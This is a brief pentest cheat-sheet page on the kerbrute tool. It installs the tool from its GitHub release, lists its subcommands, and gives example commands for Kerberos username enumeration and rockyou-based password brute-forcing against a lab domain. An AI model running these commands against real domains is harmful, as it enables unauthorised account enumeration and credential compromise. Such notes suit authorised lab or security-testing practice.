Skip to content

kerbrute

Source

installation

sudo chown -R kali:kali /opt
mkdir /opt/tools
cd /opt/tools

wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -O /opt/tools/kerbrute
chmod +x kerbrute
sudo ln -s /opt/tools/kerbrute /usr/bin/kerbrute

kerbrute --help
    Available Commands:
      bruteforce    Bruteforce username:password combos, from a file or stdin
      bruteuser     Bruteforce a single user's password from a wordlist
      help          Help about any command
      passwordspray Test a single password against a list of users
      userenum      Enumerate valid domain usernames via Kerberos
      version       Display version info and quit

Enumerate valid domain usernames via Kerberos

./kerbrute userenum --help
./kerbrute userenum --dc controller.local -d controller.local user.txt

Bruteforce a single user's password from a wordlist

./kerbrute bruteuser --help
./kerbrute bruteuser -v --dc controller.local -d controller.local /usr/share/wordlists/rockyou.txt admin1